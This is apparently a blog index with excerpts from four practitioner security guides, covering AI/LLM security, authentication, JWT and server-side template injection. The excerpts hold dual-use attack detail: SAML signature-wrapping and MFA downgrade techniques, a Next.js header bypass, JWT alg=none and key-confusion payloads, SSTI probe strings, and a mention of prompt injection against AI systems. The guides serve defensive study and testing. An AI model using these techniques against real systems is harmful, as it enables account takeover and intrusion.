Comprehensive AI / LLM Security Guide

Comprehensive AI / LLM Security Guide A practitioner’s reference for securing Large Language Model and agentic AI systems — attack surface, exploitation techniques, real-world CVE chains, payloads, and layered detection/prevention. Compiled from 60 research sources (OWASP, NVIDIA AI Red Team, Unit 42, Lakera/Check Point, NCSC, CrowdStrike/Pangea, Equixly, Anthropic, OpenAI, Microsoft MSRC, Google, AWS, MITRE ATLAS, Penligent, Red Hat, Pillar Security, JFrog, AuthZed, Trend Micro, Nature, and independent researchers). Table of Contents Fundamentals Threat Model & Attack Surface Direct Prompt Injection & Jailbreaks Indirect Prompt Injection RAG / Vector Store Attacks Tool & Function Calling Abuse MCP Server Attack Surface Agent Hijacking & Tool Chain Attacks Memory Poisoning Data & Model Poisoning Output Handling & Exfiltration Channels Multi-Agent Exploitation Real-World CVEs & Exploitation Chains Tools & Automation Detection & Layered Defense Payload / Prompt Quick Reference 1. Fundamentals LLM security vulnerabilities stem from one structural truth: large language models do not reliably separate instructions from data. Everything the model sees — system prompt, user message, retrieved documents, tool output, memory — arrives as a single token stream. A natural-language directive buried inside “data” is indistinguishable from a directive in the “instructions” block. ...

April 10, 2026 · 34 min · Carl Sampson

Comprehensive Authentication Guide

Comprehensive Authentication Guide A practitioner’s reference for authentication security — protocols, mechanisms, vulnerabilities, exploitation techniques, and defense strategies. Covers traditional and modern authentication methods from enterprise to web applications. Compiled from 55 research sources. Table of Contents Fundamentals Password-Based Authentication Multi-Factor Authentication (MFA) OAuth 2.0 & OpenID Connect SAML & Enterprise SSO Modern Authentication (FIDO, WebAuthn, Passkeys) JWT Security Session Management Authentication Bypasses & Attacks Implementation Security Testing & Verification 1. Fundamentals Core Concepts Term Definition Security Impact Authentication (AuthN) Process of verifying identity claims Foundation of access control Digital Identity Unique representation in online context Basis for authorization decisions Identity Proofing Binding digital identity to real person KYC/compliance requirement Session Management Maintaining state across requests Critical for web application security Non-Human Identity (NHI) API keys, OAuth tokens, service accounts Path of least resistance for attackers — not bound by MFA or IP restrictions Authentication Factors Factor Type Examples Vulnerability Classes Something You Know Passwords, PINs, security questions Brute force, credential stuffing, social engineering Something You Have Hardware tokens, mobile apps, SMS SIM swapping, device theft, malware Something You Are Biometrics (fingerprint, face, voice) Spoofing, template theft, privacy concerns 2. Password-Based Authentication Password Strength Requirements Requirement NIST SP800-63B Standard Security Rationale Minimum Length 8 chars (with MFA), 14+ (without MFA) Increases brute force difficulty Maximum Length At least 64 characters Prevents artificial length limits Character Composition No mandatory complexity rules Avoid predictable patterns Dictionary Checking Block common passwords Prevent credential stuffing Common Password Vulnerabilities ATTACK VECTORS: ├── Credential Stuffing │ ├── Breach databases (HaveIBeenPwned) │ ├── Password reuse across sites │ └── Automated login attempts ├── Brute Force Attacks │ ├── Dictionary attacks │ ├── Rule-based mutations │ └── Hybrid attacks └── Password Reset Flows ├── Weak reset tokens ├── Token reuse vulnerabilities ├── Account enumeration └── Email interception for ATO (Post SMTP CVE-2025-24000 — Subscriber+ reads reset emails via broken REST API permissions) Secure Implementation Patterns Security Control Implementation Bypass Techniques Rate Limiting Progressive delays, account lockouts IP rotation, distributed attacks CAPTCHA Human verification challenges OCR bypass, solving services Password Hashing bcrypt, scrypt, Argon2 Rainbow tables (if salts weak) Breach Detection Monitor for credential exposure Private/corporate breaches REST API Auth Role-based permission callbacks (not just is_user_logged_in()) Subscriber-level access to admin endpoints 3. Multi-Factor Authentication (MFA) MFA Implementation Types Method Security Level User Experience Attack Vectors SMS OTP Low High friction SIM swapping, SS7 attacks TOTP Apps Medium Medium friction Device compromise, social engineering Push Notifications Medium-High Low friction MFA fatigue, device takeover Hardware Tokens High Medium friction Physical theft, supply chain Biometrics High Low friction Spoofing, template extraction Passwordless (FastPass/FIDO2) Very High Low friction Device compromise (Okta Terrify), endpoint proxy MFA Bypass Techniques BYPASS METHODS: ├── Social Engineering │ ├── MFA fatigue (push spam) │ ├── Vishing (voice phishing) │ └── SIM swapping ├── Technical Bypasses │ ├── Session fixation │ ├── MFA enrollment abuse │ ├── Backup code exploitation │ └── Race conditions ├── Adversary-in-the-Middle (AiTM) │ ├── Real-time phishing (Evilginx, Tycoon 2FA, Evilproxy, Mamba 2FA) │ ├── Session cookie interception and replay │ ├── Token replay │ └── Cloudflare Workers as transparent proxy (IOActive research) ├── Authentication Downgrade Attacks │ ├── JSON config manipulation — flip FIDO2 isDefault:false, push isDefault:true │ ├── CSS injection to hide passkey/FIDO2 UI options │ ├── Browser User-Agent spoofing (e.g., Safari on Windows) to trigger Entra ID fallback │ └── WebAuthn immediate mediation abuse for non-WebAuthn fallback steering ├── Conditional Access Policy (CAP) Bypasses │ ├── IP whitelisting bypass (VPN, Zscaler pivoting) │ ├── Geo-whitelisting bypass (VPN/location spoofing) │ ├── User-agent whitelisting bypass (custom UA strings) │ ├── Cloud tooling bypasses (ROADtools, BloodHound, AADInternals) │ └── Non-MFA hosts (legacy protocols, password reset portals) └── Machine-Based Attacks ├── Session token theft from memory (Cobalt Strike BOFs) ├── OTP keylogging / seed QR code theft ├── Okta Terrify — extract passwordless keys from compromised endpoint └── Stolen/unlocked devices Phishing-as-a-Service (PhaaS) Kits Kit Technique Detection Evasion Evilginx Open-source reverse proxy AiTM Default LetsEncrypt certs, 8-char URL paths, TLS fingerprint differs from target Tycoon 2FA PhaaS MFA bypass Dynamically obfuscated JS, phishing URL gating, IP/UA filtering Evilproxy PhaaS MFA bypass Templates for popular targets, bot detection Mamba 2FA PhaaS MFA bypass Anti-crawler delays, redirect to benign pages Cloudflare Workers Serverless transparent proxy (IOActive PoC) Zero forensic footprint, trusted CDN IPs, ephemeral execution Implementation Security Checklist Control Verification Common Mistakes Enrollment Security Verify primary auth before MFA setup Allow MFA changes without re-auth Backup Mechanisms Secure recovery codes Weak backup code generation Device Trust Risk-based authentication Unlimited device trust Rate Limiting Throttle MFA attempts No limits on failed attempts Eliminate Fallbacks No SMS/TOTP/push if FIDO2 deployed Mixed-mode policies allow downgrade Audit MFA Logs Detect new MFA device registration post-compromise Missing persistence detection 4. OAuth 2.0 & OpenID Connect OAuth 2.0 Flow Types Grant Type Use Case Security Considerations Authorization Code Server-side web apps Most secure, requires PKCE for SPAs Authorization Code + PKCE Public clients, SPAs Prevents authorization code injection Implicit Legacy SPAs Deprecated, token in URL fragment Client Credentials Service-to-service No user context, secure storage critical Device Code IoT/limited input devices Phishing risk during user approval Common OAuth Vulnerabilities Vulnerability Attack Vector Mitigation Authorization Code Interception Redirect URI manipulation Strict redirect validation State Parameter Missing CSRF attacks Cryptographically strong state Scope Escalation Privilege elevation Minimal scope principle Client Impersonation Stolen client credentials Client authentication OAuth Parameter Injection Inject arbitrary params (redirect_uri, scope) into auth flow Input sanitization (Okta auth0/nextjs-auth0 vuln) Implicit Flow Token Theft Access token in URL fragment, referer leakage Migrate to Authorization Code + PKCE CSRF via Missing State Attacker injects own authorization code into victim session State parameter enforcement Redirect URI Bypass Pattern-matching bypass (%2f%2f, %5c%5c, %3F, %23, port injection) Exact string match, no wildcards Credential Leakage via Referer Authorization code or token in Referer header to third-party content No third-party resources on callback pages Non-Human Identity Abuse Compromised OAuth tokens with overly broad scopes, null expiry refresh tokens Scope minimization, token rotation, vendor vetting Dynamic Client Registration SSRF (PortSwigger Research) SSRF ATTACK SURFACE VIA DYNAMIC REGISTRATION: ├── logo_uri — Server fetches logo image → SSRF on /authorize ├── jwks_uri — Server fetches JWK set for client_assertion validation → Blind SSRF ├── sector_identifier_uri — Server fetches redirect_uri list → SSRF on registration or authorization ├── request_uris — Whitelisted request_uri values → SSRF on /authorize via request_uri param │ (Even without dynamic registration, test request_uri on /authorize directly) └── Discovery: GET /.well-known/openid-configuration ├── registration_endpoint ├── request_uri_parameter_supported └── require_request_uri_registration CVE-2021-26715: SSRF via logo_uri in MITREid Connect ForgeRock OpenAM: SSRF via request_uri + redirect_uri Session Poisoning OAuth Security Implementation SECURITY CONTROLS: ├── Authorization Server │ ├── Strict redirect URI validation (exact match, no wildcards) │ ├── State parameter enforcement │ ├── PKCE for public clients │ ├── Short-lived authorization codes (single use) │ └── Disable Dynamic Client Registration if not needed ├── Resource Server │ ├── Token introspection │ ├── Scope validation │ ├── Audience verification │ └── Rate limiting ├── Client Application │ ├── Secure token storage (never in browser history/URL) │ ├── Token refresh handling with expiry │ ├── CSRF protection via state parameter │ ├── PKCE code_verifier/code_challenge │ └── TLS everywhere └── Non-Human Identity Governance ├── Monitor OAuth app registrations and consent grants ├── Audit token scopes vs actual usage ├── Enforce refresh token expiry (no null expiry) └── Vendor breach monitoring for third-party OAuth apps OAuth Pentesting Checklist (Authorization Code Grant) Test Case What to Check Impact Redirect URI Validation Change redirect_uri to attacker domain, test pattern bypasses Token/code theft State Parameter Remove or reuse state, test CSRF Account hijacking Code Reuse Replay authorization code Session hijacking Client Secret Exposure Check JS source, mobile app binaries Full OAuth flow compromise Scope Manipulation Request elevated scopes Privilege escalation Token in URL/History Check if access_token appears in URL fragment or browser history Token theft Referer Leakage Check callback pages for third-party resource loads Code/token leakage request_uri SSRF Supply attacker URL in request_uri param on /authorize Server-side request forgery 5. SAML & Enterprise SSO SAML Attack Surface Component Attack Vectors Security Controls Identity Provider (IdP) XML signature bypass, SAML injection Strong XML validation, signature verification Service Provider (SP) Assertion replay, audience restriction bypass, parser differential exploitation Strict temporal/audience checks, single XML parser SAML Assertions XXE, signature wrapping (XSW), attribute pollution Secure XML parsing, validation Metadata Metadata spoofing, certificate substitution Out-of-band verification FortiCloud SSO Crafted SAMLResponse to /remote/saml/login (CVE-2025-59718) Disable FortiCloud SSO until patched XML Signature Wrapping (XSW) Attacks — Deep Dive XSW ATTACK TAXONOMY: ├── Classic XSW │ ├── Move signed element, inject forged element in original location │ ├── Application processes forged data, signature validates against hidden original │ └── 8+ documented XSW variants in USENIX "On Breaking SAML" research ├── Parser Differential Exploits │ ├── ruby-saml: REXML + Nokogiri dual parser → different XPath results │ │ ├── CVE-2025-25291 / CVE-2025-25292 (ruby-saml < 1.18.0) │ │ ├── CVE-2024-45409 (ruby-saml signature bypass by ahacker1) │ │ └── Exploited in GitLab — sign in as any user with single valid signature │ ├── Attribute pollution — parser-specific attribute handling differences │ ├── REXML namespace confusion — without DTDs │ └── Void Canonicalization — novel technique (PortSwigger "The Fragile Lock") ├── Signature Exclusion / Comment Injection │ ├── Removing Signature element entirely │ ├── XML comment injection between signature elements │ └── Bypassing signature validation in libraries that don't enforce presence ├── Encrypted Assertion Bypass │ ├── GitHub Enterprise: signature extracted pre-decryption, inner assertion signature never validated │ │ ├── CVE-2024-4985 / CVE-2024-9487 │ │ └── Forge assertion inside encrypted envelope, only outer response signature checked │ └── samlify (Node.js): CVE-2025-47949 — Signature Wrapping with unsigned assertion extraction └── Improper Cryptographic Signature Verification ├── FortiGate FortiCloud SSO: CVE-2025-59718 / CVE-2025-59719 (CVSS 9.8) │ ├── SAML response signature not validated → forged SAMLResponse grants super_admin │ ├── Endpoint: POST /remote/saml/login │ ├── Actively exploited in the wild (Arctic Wolf, CISA KEV) │ └── Affects FortiOS, FortiProxy, FortiSwitchManager, FortiWeb └── CWE-347 pattern: system checks temporal claims but skips signature verification Real-World SAML CVEs CVE Product Vulnerability Impact CVE-2025-59718 FortiGate FortiCloud SSO Missing SAML signature validation Unauthenticated admin access CVE-2025-59719 FortiGate FortiCloud SSO Related bypass variant Unauthenticated admin access CVE-2025-25291 ruby-saml Parser differential (REXML/Nokogiri) Sign in as any user CVE-2025-25292 ruby-saml Parser differential (REXML/Nokogiri) Sign in as any user CVE-2024-45409 ruby-saml Signature bypass Authentication bypass CVE-2024-4985 GitHub Enterprise Encrypted assertion signature skip SAML SSO bypass CVE-2024-9487 GitHub Enterprise Follow-up encrypted assertion fix SAML SSO bypass CVE-2025-47949 samlify (Node.js) Signature Wrapping — unsigned assertion consumed Authentication bypass, user impersonation SAML Bug Hunting Methodology SAML TESTING WORKFLOW (using SAML Raider): ├── Setup │ ├── Install SAML Raider Burp extension │ ├── Import/clone X.509 certificates │ └── Capture SAML Response in proxy ├── Signature Wrapping Tests │ ├── Apply all 8 XSW variants from SAML Raider │ ├── Test with both signed Response and signed Assertion │ └── Test with cloned/self-signed certificates ├── Signature Removal │ ├── Remove Signature element entirely │ ├── Remove SignatureValue content │ └── Test if SP accepts unsigned assertions ├── Assertion Manipulation │ ├── Modify NameID to target user │ ├── Modify role/group attributes │ ├── Change audience restriction │ └── Alter temporal conditions (NotBefore/NotOnOrAfter) ├── XML-Level Attacks │ ├── XXE injection in SAML Response │ ├── XML comment injection in NameID │ ├── DTD-based attacks (if not blocked) │ └── Namespace confusion / attribute pollution └── Certificate Tests ├── Clone IdP certificate, self-sign assertion ├── Test if SP validates certificate chain └── Test if SP accepts any valid signature (not just from trusted IdP) 6. Modern Authentication (FIDO, WebAuthn, Passkeys) FIDO2/WebAuthn Architecture Component Function Security Properties Authenticator Private key storage, user verification Hardware-backed, phishing-resistant Client (Browser) Protocol handling, user interaction Sandboxed execution, origin binding Relying Party Credential management, verification Challenge-response validation FIDO Server Registration/authentication logic Cryptographic verification Passkey Types and Security Properties Type Storage Security Level Enterprise Suitability Device-Bound (Hardware Key) YubiKey, security key hardware Highest — non-exportable, hardware-backed Recommended for enterprise Synced (Multi-Device) iCloud Keychain, Google Password Manager Medium — inherits cloud account risk Consumer use only; not recommended for enterprise Synced Passkey Risks SYNCED PASSKEY ATTACK SURFACE: ├── Cloud Account Compromise │ ├── iCloud/Google account takeover → all synced passkeys compromised │ ├── Recovery workflow abuse → authorize new device with stolen credentials │ └── Personal cloud account on corporate device → passkeys leak to personal devices ├── Authentication Downgrade │ ├── AiTM proxy spoofs unsupported browser → Entra ID disables passkey option │ ├── User steered to SMS/OTP/push → captured by proxy │ └── WebAuthn immediate mediation abused to offer weak fallback ├── Browser Extension Attacks │ ├── webAuthenticationProxy API — intercept navigator.credentials.create()/get() │ ├── Content script DOM injection — manipulate passkey UI elements │ ├── DOM-based extension clickjacking — trigger autofill and exfiltration │ └── Malicious extension forces password fallback or re-registration └── Help Desk Social Engineering └── Recovery process = real control point attackers target WebAuthn Security Benefits Protection Traditional Auth WebAuthn Phishing Resistance Credentials reusable Origin binding prevents cross-site use Credential Theft Server breaches expose passwords Public key only stored server-side Replay Attacks Static credentials Cryptographic challenges with freshness Man-in-the-Middle Credentials interceptable Origin verification blocks proxy attacks Enterprise Passkey Deployment Guidance Area Recommendation Rationale Credential Type Device-bound only (hardware security keys) Non-exportable, hardware-backed, inventoriable Fallback Methods Eliminate all (SMS, TOTP, push, email) Weakest method = real security level Browser Extensions Allowlist only; block webAuthenticationProxy permission Prevent WebAuthn API interception Attestation Capture device model and assurance at registration Reject unrecognized authenticators Recovery Hardware key-based reproofing only No help desk/email-based recovery Session Binding Tie sessions to device context, not just initial auth Prevent portable session cookie theft Cloudflare FIDO2 Deployment Case Study CLOUDFLARE ROLLOUT TIMELINE: ├── 2018: Distributed YubiKey 5 Nano + YubiKey 5 NFC to all employees ├── 2020: Selective enforcement via Cloudflare Access (Zero Trust proxy) │ ├── OAuth2 integration with IdP, enforce "swk" (security key) AMR value │ └── Incremental rollout — one service at a time ├── Feb 2021: Full enforcement — disabled all TOTP/SMS │ ├── Triggered by social engineering phone calls to employees │ └── Offline recovery process for lost keys (distribute 2 keys per employee) ├── SSH via Cloudflare Tunnel: cloudflared + Access policies enforce FIDO2 for SSH └── Result: Zero successful phishing attacks post-deployment 7. JWT Security JWT Attack Vectors Vulnerability Technique Real-World Example Algorithm Confusion (alg=none) Set JWT header alg to “none”, remove signature Classic JWT bypass Missing Signature Verification Server decodes JWT but never checks signature Convoy KVM CVE-2026-33746 (CVSS 9.8) — JWTService::decode() missing SignedWith constraint JWE Encryption Mix-Up Encrypt unsigned PlainJWT with server’s RSA public key; server decrypts and accepts without signature check pac4j-jwt CVE-2026-29000 — forge admin tokens with public key only Hardcoded JWT Secrets Static/weak signing secrets Zendesk Android SDK — hardcoded secret “987sdasdlkjlakdjf” + sequential IDs → mass ATO Weak Cookie Auth Tags Brute-forceable authentication tags on session cookies Auth0-PHP SDK CVE-2025-47275 (CVSS 9.1) — brute force CookieStore auth tags Default Signing Keys Predictable or default JWT signing keys Apache StreamPipes CVE-2025-47411 JWT Security Checklist Control Implementation Common Mistakes Algorithm Enforcement Whitelist allowed algorithms server-side Accept alg from JWT header without validation Signature Verification Always verify before trusting claims Check only expiration (Convoy pattern) Key Management Rotate secrets, use asymmetric keys Hardcoded secrets, public key in source Claim Validation Verify iss, aud, exp, nbf, iat Trust user-controlled claims JWE Handling Enforce inner JWT must be signed, not PlainJWT Accept PlainJWT inside JWE (pac4j-jwt pattern) 8. Session Management Session Security Requirements Property Implementation Attack Prevention Uniqueness Cryptographically random IDs Session prediction Unpredictability High entropy (128+ bits) Brute force guessing Secure Transmission HTTPS only, Secure flag Network interception Proper Expiration Absolute/idle timeouts Session hijacking Device Binding Tie session to device context/posture Portable cookie theft via AiTM Session Attack Vectors SESSION ATTACKS: ├── Session Hijacking │ ├── Network sniffing │ ├── Cross-site scripting (XSS) │ ├── Malware/browser compromise │ └── AiTM reverse proxy cookie interception (Evilginx, Tycoon 2FA) ├── Session Fixation │ ├── Pre-authentication session reuse │ ├── URL-based session ID │ └── Missing session regeneration ├── Session Timing │ ├── Concurrent sessions │ ├── Logout handling │ └── Session timeout bypass └── Session Token Portability ├── Stolen session cookies replayed from different device/IP ├── Impossible travel detection evasion └── Post-compromise MFA device registration for persistence 9. Authentication Bypasses & Attacks Business Logic Bypasses Bypass Type Technique Testing Approach Direct Access URL manipulation Forced browsing, parameter tampering State Manipulation Session/workflow bypass Multi-step process analysis Role Confusion Privilege escalation Horizontal/vertical privesc testing Reset Abuse Account takeover Password reset flow analysis Middleware-Only Auth Next.js CVE-2025-29927 — x-middleware-subrequest header bypass Verify auth in page routes/API routes, not just middleware Technical Bypasses COMMON BYPASS PATTERNS: ├── Authentication Logic Flaws │ ├── Boolean bypass (admin=true) │ ├── SQL injection in auth queries │ ├── LDAP injection │ └── Authentication timing attacks ├── Protocol-Specific Issues │ ├── JWT manipulation (alg=none, missing signature verification, JWE mix-up) │ ├── OAuth state bypass / parameter injection │ ├── SAML signature bypass (XSW, parser differential, encrypted assertion) │ └── Kerberos attacks (Golden/Silver tickets) ├── Framework-Specific Bypasses │ ├── Next.js middleware bypass (CVE-2025-29927) — set x-middleware-subrequest header │ ├── WordPress REST API permission flaws (Post SMTP CVE-2025-24000) │ └── Grafana open redirect + CSPT → XSS → account takeover (CVE-2025-6023) ├── Predictable Token Generation │ ├── Zendesk Android SDK — SHA-1(REDACTED-{AccountID}-{HardcodedSecret}) → zero-click mass ATO │ ├── Sequential ID enumeration + static secrets │ └── No rate limiting on token validation endpoints └── Implementation Weaknesses ├── Default credentials ├── Weak password policies ├── Missing rate limiting ├── Insecure session handling └── AI-generated code with insufficient input sanitization (Okta nextjs-auth0 OAuth injection) Real-World Authentication CVEs CVE Product Type CVSS Impact CVE-2025-59718 FortiGate SAML signature bypass 9.8 Unauthenticated admin access (actively exploited, CISA KEV) CVE-2026-33746 Convoy KVM JWT signature skip 9.8 Full account takeover including admin CVE-2026-29000 pac4j-jwt JWE encryption mix-up Critical Forge admin tokens with RSA public key CVE-2025-47275 Auth0-PHP SDK Cookie auth tag brute force 9.1 Unauthorized account access CVE-2025-47949 samlify SAML Signature Wrapping Critical Authentication bypass, user impersonation CVE-2025-29927 Next.js Middleware auth bypass Critical Authorization bypass via internal header CVE-2025-25291/92 ruby-saml Parser differential Critical Sign in as any user (GitLab exploitable) CVE-2024-4985 GitHub Enterprise Encrypted assertion bypass Critical SAML SSO bypass CVE-2025-24000 Post SMTP (WordPress) Broken access control High Subscriber reads admin emails → ATO CVE-2025-6023 Grafana Open redirect + CSPT → XSS High Full account takeover CVE-2025-47411 Apache StreamPipes JWT default key High Admin privilege escalation 10. Implementation Security Secure Coding Practices Security Control Implementation Pattern Common Mistakes Input Validation Whitelist validation Blacklist approaches Cryptography Industry-standard algorithms Custom/weak crypto Error Handling Generic error messages Information disclosure Logging Security event logging Sensitive data in logs AI Code Review Manual security audit of AI-generated auth code AI “slop” — functional but insecure patterns (Okta nextjs-auth0 case) Framework-Specific Guidance FRAMEWORK SECURITY: ├── Spring Security │ ├── Method-level security │ ├── CSRF protection │ └── Session management ├── ASP.NET Identity │ ├── Identity configuration │ ├── Cookie authentication │ └── External providers ├── Express.js/Passport │ ├── Strategy configuration │ ├── Session security │ └── Middleware order ├── Next.js │ ├── Never rely solely on middleware for auth (CVE-2025-29927) │ ├── Verify auth in Server Components, Page Routes, and API Routes │ └── Block x-middleware-subrequest header from external requests ├── WordPress │ ├── REST API permission callbacks must check capabilities, not just login status │ ├── Audit plugins exposing sensitive data via REST endpoints │ └── Post SMTP pattern: get_logs_permission() → is_user_logged_in() is insufficient └── Node.js SAML (samlify) ├── Upgrade to >= 2.10.0 to fix Signature Wrapping (CVE-2025-47949) └── Use single XML parser for validation + processing Defensive Architecture Principles Principle Implementation Why It Matters Eliminate Weak Fallbacks Remove SMS/TOTP/push when FIDO2 is available Weakest method = real security posture Single XML Parser Use one parser for signature validation and data extraction Parser differentials enable XSW bypasses Defense in Depth for Auth Auth check at middleware AND route/controller level Single-layer bypass (Next.js pattern) Hardware-Rooted Trust Device-bound credentials with attestation Prevents credential export and synced passkey risks Continuous Auth Re-evaluate posture on device/location/behavior changes A login is not a permanent hall pass 11. Testing & Verification Authentication Testing Methodology Phase Focus Areas Tools/Techniques Reconnaissance Authentication mechanisms, IdP discovery Manual analysis, Burp Suite, /.well-known/openid-configuration Enumeration User accounts, endpoints, registration endpoints Username enumeration, timing attacks, /connect/register Attack Execution Credential attacks, bypasses, AiTM Hydra, Evilginx, custom scripts Post-Exploitation Session security, privilege escalation, persistence Manual testing, token analysis, MFA device registration Automated Testing Tools TESTING ARSENAL: ├── Credential Attacks │ ├── Hydra (brute force) │ ├── Medusa (parallel login) │ ├── Patator (modular brute forcer) │ └── MFASweep (CAP misconfiguration discovery) ├── OAuth/JWT Testing │ ├── jwt_tool (JWT manipulation) │ ├── Burp JWT Editor │ ├── request_uri SSRF testing via /authorize │ └── Dynamic Client Registration fuzzing ├── SAML Testing │ ├── SAML Raider (Burp extension) — 8 XSW variants, cert cloning, assertion editing │ ├── SAMLReq (CLI tool) │ ├── Manual XML manipulation │ └── Parser differential toolkit (PortSwigger "The Fragile Lock") ├── MFA Bypass Testing │ ├── Evilginx (AiTM reverse proxy) │ ├── Cloudflare Workers PoC (IOActive auth downgrade) │ └── ROADtools / AADInternals (Azure AD CAP bypass) └── Passkey / WebAuthn Testing ├── Browser extension permission auditing (webAuthenticationProxy) ├── Downgrade scenario simulation (UA spoofing, CSS injection) └── Device-bound vs synced credential policy verification Security Assessment Checklist Category Verification Points Risk Level Password Security Strength requirements, storage, reset flows High Multi-Factor Auth Implementation, bypass resistance, fallback elimination Critical Session Management Generation, transmission, expiration, device binding High OAuth Protocol Security Redirect validation, state, PKCE, dynamic registration Critical SAML Protocol Security Signature validation, single parser, XSW resistance Critical JWT Security Algorithm enforcement, signature verification, key management Critical WebAuthn/Passkeys Device-bound enforcement, no fallback, attestation High Framework Auth Auth at every layer, not just middleware High Business Logic Authentication flows, error handling, race conditions Medium Key Takeaways Defense in Depth: Combine multiple authentication factors and security controls — but eliminate weak fallbacks that attackers will force Protocol Compliance: Follow established standards (NIST, OWASP, OAuth specs, FIDO2) and keep libraries updated Single Parser Principle: Never use dual XML parsers for SAML signature validation and data extraction Phishing-Resistant MFA: Deploy device-bound FIDO2/WebAuthn; synced passkeys are insufficient for enterprise JWT Rigor: Always enforce algorithm whitelists, verify signatures before trusting claims, and reject PlainJWT inside JWE Implementation Quality: Secure coding practices prevent logic bypasses — audit AI-generated auth code carefully Continuous Monitoring: Log authentication events, audit MFA device registrations, detect impossible travel and session anomalies Test Real Attack Paths: Use AiTM tools, XSW variants, and downgrade scenarios in security assessments — not just credential brute force This guide compiles practical authentication security knowledge from 55 research sources. Keep updated with emerging authentication technologies and attack techniques. ...

April 10, 2026 · 18 min · Carl Sampson

Comprehensive JWT Security Guide

Comprehensive JWT Security Guide A practitioner’s reference for JSON Web Token security – vulnerabilities, exploitation techniques, attack vectors, implementation flaws, and defense strategies. Covers algorithm confusion, signature bypass, header injection, key confusion, library-specific issues, cryptographic attacks, attack chaining, and secure implementation patterns. Compiled from 42 research sources. Table of Contents Fundamentals JWT Structure & Components Algorithm Confusion Attacks Signature Bypass Techniques Header Manipulation Payload Tampering Cryptographic & Protocol-Level Attacks Library-Specific Vulnerabilities Attack Chaining Implementation Security Attack Methodology Secure Development Practices 1. Fundamentals JWT Overview Component Purpose Security Relevance Header Algorithm and token type declaration Algorithm confusion vector Payload Claims and data Authorization decisions Signature Integrity and authenticity proof Bypass target Common Use Cases Application JWT Role Attack Impact Authentication Identity assertion Account takeover Authorization Permission claims Privilege escalation Information Exchange Secure data transmission Information disclosure API Access Bearer token Unauthorized access Microservices Stateless session Cross-service token reuse JWS vs JWE Format Purpose Security Consideration JWS (JSON Web Signature) Signed tokens – integrity and authenticity Most common; payload is readable (base64url), not encrypted JWE (JSON Web Encryption) Encrypted tokens – confidentiality Payload confidential; format confusion with JWS possible 2. JWT Structure & Components Token Anatomy JWT STRUCTURE: Header.Payload.Signature Example: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiaWF0IjoxNTE2MjM5MDIyfQ.SflKxwRJSMeKKF2QT4fwpMeJf36POk6yJV_adQssw5c Header Parameters Parameter Description Security Implications alg Signature algorithm Algorithm confusion attacks typ Token type Type confusion, JWS/JWE format confusion kid Key identifier Path traversal, SQL injection, command injection jku JWK Set URL SSRF, URL manipulation, external key loading jwk Embedded JSON Web Key Key injection – attacker embeds own public key x5u X.509 URL Certificate injection, SSRF x5c X.509 Certificate Chain Certificate substitution Standard Claims Claim Purpose Attack Vectors iss (Issuer) Token origin Issuer spoofing, substitution attacks sub (Subject) Token subject User ID manipulation aud (Audience) Intended recipient Audience bypass, cross-service token reuse exp (Expiration) Token lifetime Expiry bypass, token persistence iat (Issued At) Issue timestamp Replay attacks nbf (Not Before) Activation time Timing bypass 3. Algorithm Confusion Attacks Attack Mechanism ALGORITHM CONFUSION FLOW: 1. Server expects RS256 (RSA + SHA256) 2. Attacker changes alg to HS256 (HMAC + SHA256) 3. Server's public RSA key used as HMAC secret 4. Attacker generates valid HMAC signature 5. Server verifies with same key -> bypass Vulnerable Algorithm Transitions Original Algorithm Confused Algorithm Attack Method RS256/RS384/RS512 HS256/HS384/HS512 Public key as HMAC secret ES256/ES384/ES512 HS256/HS384/HS512 Public key as HMAC secret PS256/PS384/PS512 HS256/HS384/HS512 Public key as HMAC secret Any Algorithm none No signature verification Exploitation Techniques Attack Vector Payload Example Impact RSA->HMAC {"alg":"HS256"} + HMAC(payload, rsa_public_key) Complete authentication bypass Algorithm None {"alg":"none"} + unsigned token Total signature bypass None Variants {"alg":"NoNe"}, {"alg":"NONE"}, {"alg":"nOnE"} Blacklist bypass on case-insensitive checks Weak Algorithm {"alg":"HS256"} with known/weak secret Signature forgery CVE-2024-54150: cjwt C Library A real-world algorithm confusion in the xmidt-org/cjwt C library. The cjwt_decode() function reads the algorithm from the JWT header without requiring the caller to specify an expected algorithm. The verification function jws_verify_signature() dispatches based on the header-controlled alg value, allowing an attacker to sign with HMAC using the server’s RSA public key. ...

April 10, 2026 · 16 min · Carl Sampson

Comprehensive SSTI Guide

Comprehensive SSTI Guide A practitioner’s reference for Server-Side Template Injection — template engine vulnerabilities, exploitation techniques, payload development, framework-specific attacks, and defense strategies. Covers detection methodologies, engine-specific exploitation, and secure templating practices. Compiled from 40 research sources. Table of Contents Fundamentals Detection & Identification Template Engine Exploitation Framework-Specific Attacks Payload Development Advanced Exploitation Bypass Techniques Testing Methodology Secure Implementation Detection & Prevention CVE Reference 1. Fundamentals SSTI Attack Surface Template Context Risk Level Common Locations User Input Rendering Critical Email templates, reports, dynamic pages Configuration Files High Template-based configs, dynamic routing Error Messages Medium Custom error pages, debug output Log Messages Low Log formatting, audit trails Email Workflow Templates Critical Notification templates, marketing emails (Shopify Return Magic, Fides) Recipe/CMS Content Fields Critical User-editable content rendered by template engines (Tandoor Recipes, Alfresco) JMS/Message Headers High Apache Camel template override headers (CamelFreemarkerTemplate, CamelVelocityTemplate) Template Engine Landscape Engine Language Popularity Exploitation Difficulty Jinja2 Python Very High Medium Twig PHP High Medium FreeMarker Java High High Velocity Java Medium High Thymeleaf Java Medium Medium Smarty PHP Medium Low Mako Python Low Low Handlebars Node.js Very High Medium Pug (Jade) Node.js High Medium Go html/template Go Medium High (context-dependent) Go text/template Go Medium Medium Jelly Java Medium (ServiceNow) Medium MVEL Java Low Low Mustache Multi-language Medium High (logicless by design) Tornado Python Medium Medium 2. Detection & Identification Detection Methodology SSTI DETECTION FLOW: 1. Identify template injection points 2. Test mathematical expressions 3. Analyze error messages 4. Determine template engine 5. Craft engine-specific payloads 6. Test blind detection via time-based or OOB channels Basic Detection Payloads Test Case Payload Expected Result Mathematical ${7*7} 49 if vulnerable Mathematical {​{7*7}} 49 if vulnerable Mathematical <%=7*7%> 49 if vulnerable String Concatenation ${'a'+'b'} ab if vulnerable Function Call ${T(java.lang.System).getProperty('user.name')} Username if Spring EL Go Detection {​{ . }} Memory address of passed object if Go template Handlebars Detection {​{this}} [object Object] if Handlebars FreeMarker String ${"Hello " + "World"} Hello World if FreeMarker FreeMarker Array ${["one", "two", "three"][1]} two if FreeMarker FreeMarker Length ${"test"?length} 4 if FreeMarker FreeMarker Date 